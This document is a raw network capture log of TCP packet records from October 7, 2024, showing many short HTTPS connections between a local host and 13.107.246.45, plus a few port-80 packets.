Oct 7, 2024 06:44:44.168175936 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.168338060 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.168385029 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.168466091 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.168528080 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.168648005 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.168648005 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.168688059 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.168711901 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.171240091 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.171264887 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.171344042 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.171489000 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.171504974 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.413367987 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.413918972 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.413963079 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.414489985 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.414498091 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.421730995 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.422146082 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.422161102 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.422547102 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.422555923 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.514211893 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.514436007 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.514589071 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.514626026 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.514647961 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.514662027 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.514668941 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.517338037 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.517364979 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.517589092 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.517703056 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.517720938 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.520015955 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.520258904 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.520318031 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.520411015 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.520422935 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.520431995 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.520437002 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.522912025 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.522943974 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.523015976 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.523207903 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.523230076 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.562952995 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.563540936 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.563566923 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.563966990 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.563978910 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.662471056 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.663042068 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.663069963 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.663554907 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.663559914 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.667606115 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.667834044 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.667903900 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.667964935 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.667977095 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.667989969 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.667994022 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.671195030 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.671222925 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.671312094 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.671471119 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.671480894 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767090082 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767164946 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767237902 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.767255068 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767278910 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767327070 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.767452002 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.767467976 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.767498970 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.767505884 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.769954920 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.769978046 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.770051003 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.770183086 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.770189047 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.817866087 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.823872089 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.823883057 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.824382067 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.824388027 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.921039104 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.921500921 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.921574116 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.921607018 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.921628952 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.921641111 CEST	49890	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.921648979 CEST	443	49890	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.924582005 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.924640894 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.924725056 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.924902916 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.924922943 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.157190084 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.157957077 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.157983065 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.158179045 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.158417940 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.158422947 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.158797026 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.158811092 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.159145117 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.159152031 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.256392956 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.256530046 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.256656885 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.256767035 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.256781101 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.256793022 CEST	49892	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.256797075 CEST	443	49892	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.257064104 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.257091999 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.257129908 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.257131100 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.257169962 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.257417917 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.257428885 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.257440090 CEST	49891	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.257445097 CEST	443	49891	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.263194084 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263226032 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.263293982 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263372898 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263427019 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.263489962 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263492107 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263503075 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.263775110 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.263784885 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.312843084 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.313327074 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.313344002 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.314014912 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.314018011 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.345067024 CEST	49703	80	192.168.2.5	192.229.211.108
Oct 7, 2024 06:44:45.350825071 CEST	80	49703	192.229.211.108	192.168.2.5
Oct 7, 2024 06:44:45.350927114 CEST	49703	80	192.168.2.5	192.229.211.108
Oct 7, 2024 06:44:45.407334089 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.407841921 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.407866001 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.408324003 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.408330917 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.412134886 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.412240028 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.412281036 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.412285089 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.412331104 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.412445068 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.412456036 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.412475109 CEST	49893	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.412480116 CEST	443	49893	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.414964914 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.415011883 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.415082932 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.415213108 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.415226936 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.506345034 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.506416082 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.506469965 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.506715059 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.506726980 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.506740093 CEST	49894	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.506747007 CEST	443	49894	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.509861946 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.509891987 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.509962082 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.510132074 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.510143995 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.606403112 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.606893063 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.606930971 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.607367992 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.607373953 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.713011980 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.713102102 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.713359118 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.713530064 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.713557959 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.713568926 CEST	49895	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.713581085 CEST	443	49895	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.716794968 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.716831923 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.716906071 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.717087030 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.717096090 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.901479959 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.902174950 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.902189970 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.902692080 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.902698040 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.925045967 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.925646067 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.925703049 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:45.925980091 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:45.925992966 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.000857115 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.001032114 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.001224041 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.001396894 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.001415968 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.001429081 CEST	49896	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.001435041 CEST	443	49896	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.004057884 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.004100084 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.004172087 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.004318953 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.004331112 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.029463053 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.029721022 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.029938936 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.030098915 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.030098915 CEST	49897	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.030126095 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.030138969 CEST	443	49897	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.032666922 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.032716990 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.032783031 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.032924891 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.032943010 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.047724962 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.048254013 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.048273087 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.048620939 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.048628092 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.147622108 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.148009062 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.148202896 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.148202896 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.148202896 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.150597095 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.150635958 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.150708914 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.150844097 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.150856018 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.164827108 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.165194035 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.165206909 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.165621042 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.165626049 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.264439106 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.264540911 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.264631033 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.264651060 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.264712095 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.264976978 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.264996052 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.265033007 CEST	49899	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.265039921 CEST	443	49899	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.268862009 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.268908024 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.268981934 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.269182920 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.269191980 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.350516081 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.351316929 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.351346016 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.352293015 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.352307081 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.450211048 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.450294018 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.450448990 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.450719118 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.450752974 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.450818062 CEST	49900	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.450831890 CEST	443	49900	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.454160929 CEST	49898	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.454226971 CEST	443	49898	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.454250097 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.454301119 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.454395056 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.454585075 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.454602003 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.672049999 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.672821999 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.672861099 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.673531055 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.673543930 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.679382086 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.679794073 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.679811001 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.680238008 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.680246115 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.771920919 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.771996021 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.772061110 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.772299051 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.772315025 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.772326946 CEST	49902	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.772334099 CEST	443	49902	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.775727987 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.775767088 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.775896072 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.776252985 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.776268959 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.784158945 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.784240007 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.784286976 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.784297943 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.784310102 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.784477949 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.784477949 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.784496069 CEST	49901	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.784507036 CEST	443	49901	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.787180901 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.787225008 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.787322044 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.787509918 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.787522078 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.820266962 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.821021080 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.821033001 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.821392059 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.821403980 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.910517931 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.911171913 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.911197901 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.911725998 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.911731005 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.922202110 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.922360897 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.922473907 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.922610044 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.922610044 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.922610044 CEST	49903	443	192.168.2.5	13.107.246.45
